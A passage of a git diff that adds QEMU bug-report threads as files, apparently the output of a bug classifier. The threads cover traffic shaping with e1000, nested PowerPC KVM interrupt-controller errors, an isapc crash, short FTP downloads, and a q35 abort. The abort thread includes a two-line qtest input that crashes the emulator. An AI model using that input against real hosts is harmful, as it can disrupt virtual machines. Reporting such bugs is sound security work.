but I got the same results. + +However, if I use htb I can get reasonable throughputs (~20mbit). I used these commands (both for host and guest): + +tc qdisc add dev <DEV> root handle 1: htb default 255 +tc class add dev <DEV> parent 1: classid 1:1 htb rate 20mbit burst 20480 +tc filter add dev <DEV> parent 1: prio 255 proto ip u32 match ip src 0.0.0.0/0 flowid 1:1 + +It seems that the problem is related with the root qdisc only. Have you guys found an answer for this? + +Hi, + +The problem seems to come from the implementation of the Intel e1000 +network cards (which is the default one used by QEMU). +If you use another one, the problem does not appear ;) + +Vince + +Le 29/01/2012 05:49, Henrique Rodrigues a écrit : +> Hi guys, +> +> I'm having the same problem with a ubuntu 11.04 (natty) host. I tried to +> set the rate controllers using tc both at the host and inside the guest +> i.e.: +> +> tc qdisc add vnic0 root tbf rate 20mbit burst 20480 latency 50ms (host - to control the traffic going to the guest vm) and +> tc qdisc add eth0 root tbf rate 20mbit burst 20480 latency 50ms (guest) +> +> And the results are the same reported initially: ~140kbit/sec. I also +> tried to use policing filters at the host but I got the same results. +> +> However, if I use htb I can get reasonable throughputs (~20mbit). I used +> these commands (both for host and guest): +> +> tc qdisc add dev<DEV> root handle 1: htb default 255 +> tc class add dev<DEV> parent 1: classid 1:1 htb rate 20mbit burst 20480 +> tc filter add dev<DEV> parent 1: prio 255 proto ip u32 match ip src 0.0.0.0/0 flowid 1:1 +> +> It seems that the problem is related with the root qdisc only. Have you +> guys found an answer for this? +> + + +Hi, + +I figured out what was the problem. It seems that the pkts generated by each guest iperf command is bigger than the default qdisc mtu of 2kb (the pkts have length of 65k). If you set a higher qdisc mtu (=65k) the traffic should be controlled as expected. + +Henrique + +Vincent, + +Have you tried to change the mtu of the tbf qdisc? The traffic control should work well if you set it to 65kb. +I believe that this is happening due to the napi gro functionality. I'm still not sure, but the problem seems to be related to that. + +Henrique + +Hi, + +No I don't try, i will :) +The probleme is not present with another NIC so I use another one for +the moment. + +Vincent + + +Le 09/02/2012 20:05, Henrique Rodrigues a écrit : +> Vincent, +> +> Have you tried to change the mtu of the tbf qdisc? The traffic control should work well if you set it to 65kb. +> I believe that this is happening due to the napi gro functionality. I'm still not sure, but the problem seems to be related to that. +> +> Henrique +> + + +Can you still reproduce this issue with the latest version of QEMU (currently v2.8), or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/VMs./1890290 b/results/classifier/deepseek-1/output/VMs./1890290 new file mode 100644 index 00000000..2219fcf4 --- /dev/null +++ b/results/classifier/deepseek-1/output/VMs./1890290 @@ -0,0 +1,139 @@ + +PowerPC L2(nested virt) kvm guest fails to boot with ic-mode=dual,kernel-irqchip=on - `KVM is too old to support ic-mode=dual,kernel-irqchip=on` + +Env: +HW: Power 9 DD2.3 +Host L0: 5.8.0-rc5-g8ba4ffcd8 +Qemu: 5.0.50 (v5.0.0-533-gdebe78ce14) +Libvirt: 6.4.0 +L1: 5.8.0-rc5-ge9919e11e +qemu_version': '5.0.50 (v5.1.0-rc2-dirty) +libvirt_version': '6.4.0' +L2: 5.8.0-rc7-g6ba1b005f + + +1. boot a L2 KVM guest with `ic-mode=dual,kernel-irqchip=on` + +/usr/bin/virt-install --connect=qemu:///system --hvm --accelerate --name 'vm1' --machine pseries --memory=8192 --vcpu=8,maxvcpus=8,sockets=1,cores=2,t +hreads=4 --import --nographics --serial pty --memballoon model=virtio --disk path=/home/tests/data/avocado-vt/images/f31-ppc64le.qcow2,bus=virtio,size=10,format=qcow2 --network +=bridge=virbr0,model=virtio,mac=52:54:00:e6:fe:f6 --mac=52:54:00:e6:fe:f6 --boot emulator=/usr/share/avocado-plugins-vt/bin/qemu,kernel=/tmp/linux/vmlinux,kernel_args="root=/de +v/vda2 rw console=tty0 console=ttyS0,115200 init=/sbin/init initcall_debug selinux=0" --noautoconsole --qemu-commandline=" -M pseries,ic-mode=dual,kernel-irqchip=on" + + +ERROR internal error: process exited while connecting to monitor: 2020-08-04T11:12:53.304482Z qemu: KVM is too old to support ic-mode=dual,kernel-irqchip=on + + + + +Qemu Log: +``` +/usr/share/avocado-plugins-vt/bin/qemu \ +-name guest=vm1,debug-threads=on \ +-S \ +-object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-5-vm1/master-key.aes \ +-machine pseries-5.1,accel=kvm,usb=off,dump-guest-core=off \ +-cpu POWER9 \ +-m 8192 \ +-overcommit mem-lock=off \ +-smp 8,sockets=1,dies=1,cores=2,threads=4 \ +-uuid 20a3351b-2776-4e75-9059-c070fe3dd44b \ +-display none \ +-no-user-config \ +-nodefaults \ +-chardev socket,id=charmonitor,fd=34,server,nowait \ +-mon chardev=charmonitor,id=monitor,mode=control \ +-rtc base=utc \ +-no-shutdown \ +-boot strict=on \ +-kernel /tmp/linux/vmlinux \ +-append 'root=/dev/vda2 rw console=tty0 console=ttyS0,115200 init=/sbin/init initcall_debug selinux=0' \ +-device qemu-xhci,p2=15,p3=15,id=usb,bus=pci.0,addr=0x2 \ +-device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x3 \ +-blockdev '{"driver":"file","filename":"/home/tests/data/avocado-vt/images/f31-ppc64le.qcow2","node-name":"libvirt-1-storage","auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-1-format","read-only":false,"driver":"qcow2","file":"libvirt-1-storage","backing":null}' \ +-device virtio-blk-pci,bus=pci.0,addr=0x4,drive=libvirt-1-format,id=virtio-disk0,bootindex=1 \ +-netdev tap,fd=37,id=hostnet0,vhost=on,vhostfd=38 \ +-device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:e6:fe:f6,bus=pci.0,addr=0x1 \ +-chardev pty,id=charserial0 \ +-device spapr-vty,chardev=charserial0,id=serial0,reg=0x30000000 \ +-chardev socket,id=charchannel0,fd=39,server,nowait \ +-device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=org.qemu.guest_agent.0 \ +-device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5 \ +-M pseries,ic-mode=dual,kernel-irqchip=on \ +-msg timestamp=on +2020-08-04 11:12:53.169+0000: Domain id=5 is tainted: custom-argv +2020-08-04 11:12:53.179+0000: 11120: info : libvirt version: 6.4.0, package: 1.fc31 (Unknown, 2020-06-02-05:09:40, ltc-wspoon4.aus.stglabs.ibm.com) +2020-08-04 11:12:53.179+0000: 11120: info : hostname: atest-guest +2020-08-04 11:12:53.179+0000: 11120: info : virObjectUnref:347 : OBJECT_UNREF: obj=0x7fff0c117c40 +char device redirected to /dev/pts/0 (label charserial0) +2020-08-04T11:12:53.304482Z qemu: KVM is too old to support ic-mode=dual,kernel-irqchip=on +2020-08-04 11:12:53.694+0000: shutting down, reason=failed +``` + +This is currently expected because the L2 KVM guest uses the historical KVM XICS device (not the XICS-on-XIVE one) and this can be only created once during the VM lifetime for the moment. + +This is a limitation in KVM, that can be addressed in several ways: +1) change the historical KVM XICS device to implement the release() method instead of destroy(), so that userspace can close() and re-create the device multiple times during the VM lifetime, as we have already done in KVM XIVE and KVM XICS-on-XIVE for powernv +2) have the KVM XICS-on-XIVE device to work under pseries + +I already have a tentative patch for 1) and I guess 2) would be part of a more global work to supporting nested KVM XIVE. + +But it is definitely not an issue in QEMU. + + +As per this the table https://www.qemu.org/docs/master/specs/ppc-spapr-xive.html#kvm-negotiation + +reported qemu error msg "KVM is too old to support ic-mode=dual,kernel-irqchip=on" indicates the +guest os is legacy, but that's not the case here, whereas kernel levels are near upstream which has support for xive. + +My understanding of the env I used as below + +Level | XIVE KVM support | XIVE support(in kernel or emulation) +-------------------------------------------------- + L0 | Yes | Yes + L1 | No | Yes(booted with irqchip: in-kernel) + L2 | No | Yes + +So, ideally when a L2 guest is started with ic-mode=dual,kernel-irqchip=on, we should have seen below error +(2) QEMU fails with ``kernel_irqchip requested but unavailable: + IRQ_XIVE capability must be present for KVM`` + +but we actually saw the reported one, which is misleading. + + + +this section of table in particular, https://www.qemu.org/docs/master/specs/ppc-spapr-xive.html#no-xive-support-in-kvm + +Hmm... the documentation might need an update. I'll have a look. + +Posted a patch to the list. + +http://patchwork.ozlabs.org/project<email address hidden>/ + +Satheesh, + +Can you please review and test ? + + +@Greg, + +Thanks for the patch, I see it already got applied into 5.2, tested and works fine, + +# git log -2 --oneline +1972794 (HEAD -> master) spapr: Clarify error and documentation for broken KVM XICS +e1d322c (grafted, tag: v5.1.0-rc3, origin/master, origin/HEAD) Update version for v5.1.0-rc3 release + + + +# /usr/bin/virt-install --connect=qemu:///system --hvm --accelerate --name 'vm1' --machine pseries --memory=8192 --vcpu=8,maxvcpus=8,sockets=1,cores=8,threads=1 --import --nographics --serial pty --memballoon model=virtio --controller type=scsi,model=virtio-scsi --disk path=/home/tests/data/avocado-vt/images/f31-ppc64le.qcow2,bus=scsi,size=10,format=qcow2 --network=bridge=virbr0,model=virtio,mac=52:54:00:5c:f1:fe --mac=52:54:00:5c:f1:fe --boot emulator=/home/qemu/ppc64-softmmu/qemu-system-ppc64,kernel=/boot/vmlinuz-5.8.0-rc5-ge9919e11e,kernel_args="root=/dev/sda2 rw console=tty0 console=ttyS0,115200 init=/sbin/init initcall_debug selinux=0" --noautoconsole --qemu-commandline=" -M pseries,ic-mode=dual,kernel-irqchip=on";virsh console vm1 + +Starting install... +ERROR internal error: process exited while connecting to monitor: 2020-08-07T07:05:38.633057Z qemu-system-ppc64: KVM is incompatible with ic-mode=dual,kernel-irqchip=on +This can happen with an old KVM or in a KVM nested guest. +Try without kernel-irqchip or with kernel-irqchip=off. + +Regards, +-Satheesh + +Released with QEMU v5.2.0. + diff --git a/results/classifier/deepseek-1/output/Versions}}/1400768 b/results/classifier/deepseek-1/output/Versions}}/1400768 new file mode 100644 index 00000000..2f9fe07f --- /dev/null +++ b/results/classifier/deepseek-1/output/Versions}}/1400768 @@ -0,0 +1,135 @@ + +Fatal error when running with '-machine isapc' on 2.1.2 + +all I have are the traces, should hopefully be easy to reproduce. + +# qemu-system-i386 -machine isapc +VNC server running on `::1:5900' +qemu: fatal: Trying to execute code outside RAM or ROM at 0x1a0dff44 + +EAX=000f0f88 EBX=00100000 ECX=07fc0000 EDX=0000002c +ESI=00006f5c EDI=08000000 EBP=07fc0000 ESP=fffe0014 +EIP=1a0dff44 EFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +CS =0008 00000000 ffffffff 00cf9b00 DPL=0 CS32 [-RA] +SS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +DS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +FS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +GS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +LDT=0000 00000000 0000ffff 00008200 DPL=0 LDT +TR =0000 00000000 0000ffff 00008b00 DPL=0 TSS32-busy +GDT= 000f6be8 00000037 +IDT= 000f6c26 00000000 +CR0=60000011 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=00000000 DR1=00000000 DR2=00000000 DR3=00000000 +DR6=ffff0ff0 DR7=00000400 +CCS=00000000 CCD=00000000 CCO=ADDB +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +Aborted + + +# qemu-system-x86_64 -machine isapc +VNC server running on `::1:5900' +qemu: fatal: Trying to execute code outside RAM or ROM at 0x000000001a0dff44 + +EAX=000f0f88 EBX=00100000 ECX=07fc0000 EDX=0000002c +ESI=00006f5c EDI=08000000 EBP=07fc0000 ESP=fffe0014 +EIP=1a0dff44 EFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +CS =0008 00000000 ffffffff 00cf9b00 DPL=0 CS32 [-RA] +SS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +DS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +FS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +GS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +LDT=0000 00000000 0000ffff 00008200 DPL=0 LDT +TR =0000 00000000 0000ffff 00008b00 DPL=0 TSS32-busy +GDT= 000f6be8 00000037 +IDT= 000f6c26 00000000 +CR0=60000011 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=ADDB +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +Aborted + +Hello, + + I too have the same results. + Below is an additional snippet where the call is made through valgrind. + + While valgrind grinds, the SDL window displays "Guest has not initialized the display (yet)." + +==16648== Memcheck, a memory error detector +==16648== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. +==16648== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info +==16648== Command: qemu-system-i386 -machine isapc -fda bootdisk.img +==16648== +qemu: fatal: Trying to execute code outside RAM or ROM at 0x1a0dff44 + +EAX=000f0f88 EBX=00100000 ECX=07fc0000 EDX=0000002c +ESI=00006f5c EDI=08000000 EBP=07fc0000 ESP=fffe0014 +EIP=1a0dff44 EFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +CS =0008 00000000 ffffffff 00cf9b00 DPL=0 CS32 [-RA] +SS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +DS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +FS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +GS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +LDT=0000 00000000 0000ffff 00008200 DPL=0 LDT +TR =0000 00000000 0000ffff 00008b00 DPL=0 TSS32-busy +GDT= 000f6be8 00000037 +IDT= 000f6c26 00000000 +CR0=60000011 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=00000000 DR1=00000000 DR2=00000000 DR3=00000000 +DR6=ffff0ff0 DR7=00000400 +CCS=00000000 CCD=00000000 CCO=ADDB +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +==16648== +==16648== HEAP SUMMARY: +==16648== in use at exit: 36,820,878 bytes in 32,195 blocks +==16648== total heap usage: 198,107 allocs, 165,912 frees, 1,828,399,692 bytes allocated +==16648== +==16648== LEAK SUMMARY: +==16648== definitely lost: 8,462 bytes in 29 blocks +==16648== indirectly lost: 55,605 bytes in 1,550 blocks +==16648== possibly lost: 316,286 bytes in 773 blocks +==16648== still reachable: 36,304,789 bytes in 29,208 blocks +==16648== suppressed: 0 bytes in 0 blocks +==16648== Rerun with --leak-check=full to see details of leaked memory +==16648== +==16648== For counts of detected and suppressed errors, rerun with: -v +==16648== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) +Killed + + + +Testing this with QEMU 2.5 (and also with today's head-of-git) "qemu-system_x86-64 -machine isapc" works for me (it boots the guest bios). So I'm going to close this bug as fixed; please open a fresh bug if you still have problems with a more recent QEMU version. + + diff --git a/results/classifier/deepseek-1/output/[9b0ca75](https:/gitlab.com/qemu-project/qemu/-/commit/9b0ca75e0196a725232)./1878641 b/results/classifier/deepseek-1/output/[9b0ca75](https:/gitlab.com/qemu-project/qemu/-/commit/9b0ca75e0196a725232)./1878641 new file mode 100644 index 00000000..f06a8cc3 --- /dev/null +++ b/results/classifier/deepseek-1/output/[9b0ca75](https:/gitlab.com/qemu-project/qemu/-/commit/9b0ca75e0196a725232)./1878641 @@ -0,0 +1,62 @@ + +Abort() in mch_update_pciexbar + +Hello, +I found an input which triggers an abort() in mch_update_pciexbar: + +#0 0x00007ffff686d761 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50 +#1 0x00007ffff685755b in __GI_abort () at abort.c:79 +#2 0x000055555705c7ae in mch_update_pciexbar (mch=0x629000005920) at /home/alxndr/Development/qemu/hw/pci-host/q35.c:324 +#3 0x000055555705bb6a in mch_write_config (d=0x629000005920, address=0x60, val=0x8400056e, len=0x4) at /home/alxndr/Development/qemu/hw/pci-host/q35.c:480 +#4 0x00005555570954fb in pci_host_config_write_common (pci_dev=0x629000005920, addr=0x60, limit=0x100, val=0x8400056e, len=0x4) at /home/alxndr/Development/qemu/hw/pci/pci_host.c:81 +#5 0x000055555709606e in pci_data_write (s=0x61d000096080, addr=0xf2000060, val=0x8400056e, len=0x4) at /home/alxndr/Development/qemu/hw/pci/pci_host.c:118 +#6 0x00005555570967d0 in pci_host_data_write (opaque=0x629000005200, addr=0x0, val=0x8400056e, len=0x4) at /home/alxndr/Development/qemu/hw/pci/pci_host.c:165 +#7 0x00005555564938b5 in memory_region_write_accessor (mr=0x629000005610, addr=0x0, value=0x7fffffff9c70, size=0x4, shift=0x0, mask=0xffffffff, attrs=...) at /home/alxndr/Development/qemu/memory.c:483 +#8 0x000055555649328a in access_with_adjusted_size (addr=0x0, value=0x7fffffff9c70, size=0x4, access_size_min=0x1, access_size_max=0x4, access_fn=0x555556493360 <memory_region_write_accessor>, mr=0x629000005610, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +#9 0x0000555556491df6 in memory_region_dispatch_write (mr=0x629000005610, addr=0x0, data=0x8400056e, op=MO_32, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 +#10 0x00005555562cbbf4 in flatview_write_continue (fv=0x606000033b00, addr=0xcfc, attrs=..., ptr=0x7fffffffa4e0, len=0x4, addr1=0x0, l=0x4, mr=0x629000005610) at /home/alxndr/Development/qemu/exec.c:3137 +#11 0x00005555562bbad9 in flatview_write (fv=0x606000033b00, addr=0xcfc, attrs=..., buf=0x7fffffffa4e0, len=0x4) at /home/alxndr/Development/qemu/exec.c:3177 +#12 0x00005555562bb609 in address_space_write (as=0x55555968f940 <address_space_io>, addr=0xcfc, attrs=..., buf=0x7fffffffa4e0, len=0x4) at /home/alxndr/Development/qemu/exec.c:3268 +#13 0x0000555556478c0a in cpu_outl (addr=0xcfc, val=0x8400056e) at /home/alxndr/Development/qemu/ioport.c:80 +#14 0x000055555648166f in qtest_process_command (chr=0x555559691d00 <qtest_chr>, words=0x60300009ebf0) at /home/alxndr/Development/qemu/qtest.c:396 +#15 0x000055555647f187 in qtest_process_inbuf (chr=0x555559691d00 <qtest_chr>, inbuf=0x61900000f680) at /home/alxndr/Development/qemu/qtest.c:710 +#16 0x000055555647e8b4 in qtest_read (opaque=0x555559691d00 <qtest_chr>, buf=0x7fffffffca40 "outl 0xcf8 0xf2000060\noutl 0xcfc 0x8400056e\n-M pc-q35-5.0 -device intel-hda,id=hda0 -device hda-output,bus=hda0.0 -device hda-micro,bus=hda0.0 -device hda-duplex,bus=hda0.0 -display none -nodefaults -nographic\n\377\377\377\177", size=0xd2) at /home/alxndr/Development/qemu/qtest.c:722 +#17 0x00005555579c260c in qemu_chr_be_write_impl (s=0x60f000001f30, buf=0x7fffffffca40 "outl 0xcf8 0xf2000060\noutl 0xcfc 0x8400056e\n-M pc-q35-5.0 -device intel-hda,id=hda0 -device hda-output,bus=hda0.0 -device hda-micro,bus=hda0.0 -device hda-duplex,bus=hda0.0 -display none -nodefaults -nographic\n\377\377\377\177", len=0xd2) at /home/alxndr/Development/qemu/chardev/char.c:183 +#18 0x00005555579c275b in qemu_chr_be_write (s=0x60f000001f30, buf=0x7fffffffca40 "outl 0xcf8 0xf2000060\noutl 0xcfc 0x8400056e\n-M pc-q35-5.0 -device intel-hda,id=hda0 -device hda-output,bus=hda0.0 -device hda-micro,bus=hda0.0 -device hda-duplex,bus=hda0.0 -display none -nodefaults -nographic\n\377\377\377\177", len=0xd2) at /home/alxndr/Development/qemu/chardev/char.c:195 +#19 0x00005555579cb97a in fd_chr_read (chan=0x6080000026a0, cond=G_IO_IN, opaque=0x60f000001f30) at /home/alxndr/Development/qemu/chardev/char-fd.c:68 +#20 0x0000555557a530ea in qio_channel_fd_source_dispatch (source=0x60c00002ef00, callback=0x5555579cb540 <fd_chr_read>, user_data=0x60f000001f30) at /home/alxndr/Development/qemu/io/channel-watch.c:84 +#21 0x00007ffff7ca8898 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#22 0x0000555557c10b85 in glib_pollfds_poll () at /home/alxndr/Development/qemu/util/main-loop.c:219 +#23 0x0000555557c0f57e in os_host_main_loop_wait (timeout=0x0) at /home/alxndr/Development/qemu/util/main-loop.c:242 +#24 0x0000555557c0f177 in main_loop_wait (nonblocking=0x0) at /home/alxndr/Development/qemu/util/main-loop.c:518 +#25 0x000055555689fd1e in qemu_main_loop () at /home/alxndr/Development/qemu/softmmu/vl.c:1664 +#26 0x0000555557a6a29d in main (argc=0x17, argv=0x7fffffffe148, envp=0x7fffffffe208) at /home/alxndr/Development/qemu/softmmu/main.c:49 + + +I can reproduce this in qemu 5.0 built using these qtest commands: + +cat << EOF | ./qemu-system-i386 \ +-qtest stdio -nographic -monitor none -serial none \ +-M pc-q35-5.0 +outl 0xcf8 0xf2000060 +outl 0xcfc 0x8400056e +EOF + +Please let me know if I can provide any further info. +-Alex + +Proposed fix: +https://lists.gnu.org/archive/html/qemu-devel/2020-07/msg05612.html + +Confirmed, this is not fixed yet. Philippe, what happened to your patch? + +On 5/26/21 1:06 PM, Thomas Huth wrote: +> Confirmed, this is not fixed yet. Philippe, what happened to your patch? + +I was waiting someone suggest me how to propagate error from +PCIConfigWriteFunc. Probably not very important. + + +Fix has been included here: +https://gitlab.com/qemu-project/qemu/-/commit/9b0ca75e0196a725232 + diff --git a/results/classifier/deepseek-1/output/[https:/bugs.launchpad.net/qemu/+bug/1914117](https:/bugs.launchpad.net/qemu/+bug/1914117)/1914117 b/results/classifier/deepseek-1/output/[https:/bugs.launchpad.net/qemu/+bug/1914117](https:/bugs.launchpad.net/qemu/+bug/1914117)/1914117 new file mode 100644 index 00000000..fdb98fbf --- /dev/null +++ b/results/classifier/deepseek-1/output/[https:/bugs.launchpad.net/qemu/+bug/1914117](https:/bugs.launchpad.net/qemu/+bug/1914117)/1914117 @@ -0,0 +1,437 @@ + +Short files returned via FTP on Qemu with various architectures and OSes + + +Qemu 5.2 on Mac OS X Big Sur. + +I originally thought that it might be caused by the home-brew version of Qemu, but this evening I have removed the brew edition and compiled from scratch (using Ninja & Xcode compiler). +Still getting the same problem,. + +On the following architectures: +arm64, amd64 and sometimes i386 running NetBSD host OS; +i386 running OpenBSD host OS: + +I have seen a consistent problem with FTP returning short files. The file will be a couple of bytes too short. I do not believe this is a problem with the OS. Downloading the perl source code from CPAN does not work properly, nor does downloading bind from isc. I've tried this on different architectures as above. + +(Qemu 4.2 on Ubuntu/x86_64 with NetBSD/i386 seems to function fine. My gut feel is there is something not right on the Mac OS version of Qemu or a bug in 5.2 - obviously in the network layer somewhere. If you have anything you want me to try, please let me know - happy to help get a resolution.) + +Please provide more information: How did you compile QEMU? Which version did you exactly use? And most important: How do you *run* QEMU? System emulation? User mode? What kind of FTP are you doing?? + +Apologies. + + +Host OS is Big Sur Mac OS X latest - with Xcode latest. Qemu is 5.2 - tar ball directly from the website. + +- Compile Qemu on Mac OS/Big Sur - completely stock build : install Ninja, mkdir build && cd build && ../configure && make && make install +- But also the issue is with the binary in home-brew (e.g. brew install Qemu) - both methods get me to the same problem. + +* Installed NetBSD/amd64 or i386 or OpenBSD/i386. +Qemu-image create -f raw image 10G +qmu-system-ARCH -m 256M -hda image -cdrom “netbsd.iso” -boot d -net user -net nic + +(For i386 & amd64 I tend to add -nographic for the installer) + +* Run the image: +Qmu-system-ARCH -m 256M -hda $IMAGE -net user -net nic + +Also NetBSD/arm64 has the issue using their image. +qemu-system-aarch64 -M virt -cpu cortex-a53 -smp 4 -m 4g \ + -drive if=none,file=netbsd-disk-arm64.img,id=hd0 -device virtio-blk-device,drive=hd0 \ + -netdev type=user,id=net0 -device virtio-net-device,netdev=net0,mac=00:11:22:33:44:55 \ + -bios QEMU_EFI.fd -nographic + +* The issue seems to be downloading large files. +In the host OS two files that seem to tickle the bug often are: + +* ftp -a http://cpan.pair.com/src/5.0/perl-5.32.1.tar.xz +On NetBSD this file seems to be one byte shorter than it should be. On arm64 is was several bytes shorter. + +* ftp -a ftp://ftp.isc.org/isc/bind9/9.16.11/bind-9.16.11.tar.xz +Also seems to tickle the bug + +I saw this while trying to use pkgsrc on NetBSD. Saw this on Amd64, i386 and arm64. Tried OpenBSD to rule out NetBSD as the problem. OpenBSD/i386 sees the same issue (ftp returns short read and file is a couple of bytes smaller). + +The screenshot is from amd64 - a fresh boot this morning running on a fairly idle host. + +Kind regards +Chris + + +Apologies. + + +Host OS is Big Sur Mac OS X latest - with Xcode latest. Qemu is 5.2 - tar ball directly from the website. + +- Compile Qemu on Mac OS/Big Sur - completely stock build : install Ninja, mkdir build && cd build && ../configure && make && make install +- But also the issue is with the binary in home-brew (e.g. brew install Qemu) - both methods get me to the same problem. + +* Installed NetBSD/amd64 or i386 or OpenBSD/i386. +Qemu-image create -f raw image 10G +qmu-system-ARCH -m 256M -hda image -cdrom “netbsd.iso” -boot d -net user -net nic + +(For i386 & amd64 I tend to add -nographic for the installer) + +* Run the image: +Qmu-system-ARCH -m 256M -hda $IMAGE -net user -net nic + +Also NetBSD/arm64 has the issue using their image. +qemu-system-aarch64 -M virt -cpu cortex-a53 -smp 4 -m 4g \ + -drive if=none,file=netbsd-disk-arm64.img,id=hd0 -device virtio-blk-device,drive=hd0 \ + -netdev type=user,id=net0 -device virtio-net-device,netdev=net0,mac=00:11:22:33:44:55 \ + -bios QEMU_EFI.fd -nographic + +* The issue seems to be downloading large files. +In the host OS two files that seem to tickle the bug often are: + +* ftp -a http://cpan.pair.com/src/5.0/perl-5.32.1.tar.xz +On NetBSD this file seems to be one byte shorter than it should be. On arm64 is was several bytes shorter. + +* ftp -a ftp://ftp.isc.org/isc/bind9/9.16.11/bind-9.16.11.tar.xz +Also seems to tickle the bug + + + +I saw this while trying to use pkgsrc on NetBSD. Saw this on Amd64, i386 and arm64. Tried OpenBSD to rule out NetBSD as the problem. OpenBSD/i386 sees the same issue (ftp returns short read and file is a couple of bytes smaller). + +The screenshot is from amd64 - a fresh boot this morning running on a fairly idle host. + +Kind regards +Chris + +> On 2 Feb 2021, at 05:24, Thomas Huth <email address hidden> wrote: +> +> Please provide more information: How did you compile QEMU? Which version +> did you exactly use? And most important: How do you *run* QEMU? System +> emulation? User mode? What kind of FTP are you doing?? +> +> ** Changed in: qemu +> Status: New => Incomplete +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1914117 +> +> Title: +> Short files returned via FTP on Qemu with various architectures and +> OSes +> +> Status in QEMU: +> Incomplete +> +> Bug description: +> +> Qemu 5.2 on Mac OS X Big Sur. +> +> I originally thought that it might be caused by the home-brew version of Qemu, but this evening I have removed the brew edition and compiled from scratch (using Ninja & Xcode compiler). +> Still getting the same problem,. +> +> On the following architectures: +> arm64, amd64 and sometimes i386 running NetBSD host OS; +> i386 running OpenBSD host OS: +> +> I have seen a consistent problem with FTP returning short files. The +> file will be a couple of bytes too short. I do not believe this is a +> problem with the OS. Downloading the perl source code from CPAN does +> not work properly, nor does downloading bind from isc. I've tried this +> on different architectures as above. +> +> (Qemu 4.2 on Ubuntu/x86_64 with NetBSD/i386 seems to function fine. My +> gut feel is there is something not right on the Mac OS version of Qemu +> or a bug in 5.2 - obviously in the network layer somewhere. If you +> have anything you want me to try, please let me know - happy to help +> get a resolution.) +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1914117/+subscriptions + + + +Some more info. + +This evening I've tried some more things. + +Qemu 5.2/Mac OS X Catalina (Qemu from home-brew) + +Host OS - OpenBSD/i386 +1. Booted with + +2. Booted with +qemu-system-i386 -m 256M -hda openbsd-disk-i386.img -netdev user,id=mynet0 -device virtio-net,netdev=mynet0 + +With both 